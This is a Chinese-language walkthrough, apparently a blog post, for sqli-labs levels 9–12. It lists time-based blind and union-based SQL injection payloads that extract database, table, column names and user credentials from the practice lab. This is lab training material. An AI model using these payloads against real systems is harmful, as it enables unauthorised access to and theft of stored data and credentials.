sqli-labs通关攻略less9-12

Less-9(时间盲注)

MySQL 的 sleep() 函数能够起到休眠的作用。为了方便调试,我们使用 Burp 拦截工具中的重放器

 使用 Burp 工具开启拦截,并注入,发送都重放器,发送并观察时间

需用到if函数

1.判断闭合方式

输入 

?id=1 and sleep(3)

 ?id=1' and sleep(3)--+

判断出闭合方式为’

2.查询数据库名

数据库长度

输入

?id=1' and if(length(database())=2,1,sleep(5))--+

运用bp进行抓包,判断数据库长度

数据库长度为8

数据库名
?id=1' and if(substr(database(),1,1)='a',1,sleep(5))--+

数据库名称为'security'

3.查询表名

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s',1,sleep(5))--+

依据以上操作,判断出所有表名

4.查询字段名

第一个字段

?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='s',1,sleep(5))--+

依次查出字段名 id username password 

5.查询数据

username字段下的第一个数据

?id=1' and if(substr((select username from security.users limit 0,1),1,1)='s',1,sleep(5))--+

依次查询即可

Less-10

判断闭合方式

?id=1 and sleep(5)--+ #快速执行
?id=1' and sleep(5)--+ #快速执行
?id=1" and sleep(5)--+ #休眠5秒

剩余操作流程如less-9一样

less-11

1.判断闭合方式

1        //页面无回显,格式正确但用户名不对
1'       //页面报错,根据回显信息可以看到我们闭合点是正确的,在输入框中加入#注释
1'#      //页面无回显,格式正确

2.判断回显点

  1. 1' order by 2# //无报错信息

  2. 1' order by 3# //有报错信息

  3. 说明该页面有两列

  4. 1' union select 1,2# 

3.查询数据库名

1' union select database(),2#

4.查询表名

1' union select database(),group_concat(table_name)from information_schema.tables where table_schema='security'#

5.查询字段名

1' union select database(),group_concat(column_name)from information_schema.columns where table_schema='security'and table_name='users'#

6.查询数据

1' union select database(),group_concat(username,'~',password)from users#

Less-12

判断闭合方式

  1. #判断是整数型还是字符型

  2. 1 or 1=1# //无回显信息

  3. 1'# //无回显信息

  4. 1"# //有报错信息

  5. 1")# //有回显信息

  6. 说明是字符型注入且闭合点为")

剩余操作流程如less-11,继续查询即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值